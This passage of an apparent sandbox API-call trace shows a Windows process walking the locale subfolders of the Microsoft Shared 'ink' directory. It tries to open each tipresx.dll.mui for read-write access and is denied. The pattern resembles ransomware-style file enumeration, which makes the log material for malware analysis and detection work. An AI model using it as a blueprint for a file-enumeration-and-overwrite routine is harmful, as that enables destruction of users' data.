ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.562] GetProcessHeap () returned 0x2a0000 [0142.562] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.562] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.562] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.563] GetProcessHeap () returned 0x2a0000 [0142.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.563] GetLastError () returned 0x5 [0142.563] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.563] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.563] GetProcessHeap () returned 0x2a0000 [0142.563] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.568] GetProcessHeap () returned 0x2a0000 [0142.568] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.569] GetLastError () returned 0x5 [0142.570] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.570] GetProcessHeap () returned 0x2a0000 [0142.570] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.570] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0142.570] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0142.570] GetProcessHeap () returned 0x2a0000 [0142.570] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.570] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.570] GetProcessHeap () returned 0x2a0000 [0142.570] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.570] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.570] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.570] GetProcessHeap () returned 0x2a0000 [0142.571] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.571] GetLastError () returned 0x5 [0142.571] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.571] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.571] GetProcessHeap () returned 0x2a0000 [0142.571] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.571] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0142.571] GetProcessHeap () returned 0x2a0000 [0142.571] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.572] GetProcessHeap () returned 0x2a0000 [0142.572] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.572] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.572] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.572] GetProcessHeap () returned 0x2a0000 [0142.572] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.572] GetLastError () returned 0x5 [0142.572] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.572] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.572] GetProcessHeap () returned 0x2a0000 [0142.572] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.572] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0142.573] GetProcessHeap () returned 0x2a0000 [0142.573] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8c) returned 0x2ef2d8 [0142.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.573] GetProcessHeap () returned 0x2a0000 [0142.573] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0142.573] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.574] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.574] GetProcessHeap () returned 0x2a0000 [0142.574] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28e) returned 0x2f32d0 [0142.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.574] GetLastError () returned 0x5 [0142.574] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.574] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.574] GetProcessHeap () returned 0x2a0000 [0142.574] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.574] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0142.574] GetProcessHeap () returned 0x2a0000 [0142.574] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.576] GetProcessHeap () returned 0x2a0000 [0142.576] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.576] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.576] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.576] GetProcessHeap () returned 0x2a0000 [0142.576] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.577] GetLastError () returned 0x5 [0142.577] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.577] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.577] GetProcessHeap () returned 0x2a0000 [0142.577] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.577] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0142.577] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0142.577] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0142.577] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th-TH", cAlternateFileName="")) returned 1 [0142.578] GetProcessHeap () returned 0x2a0000 [0142.578] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.578] GetProcessHeap () returned 0x2a0000 [0142.578] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.578] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.578] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.578] GetProcessHeap () returned 0x2a0000 [0142.578] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.578] GetLastError () returned 0x5 [0142.578] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.578] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.579] GetProcessHeap () returned 0x2a0000 [0142.579] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.579] FindNextFileW (in: 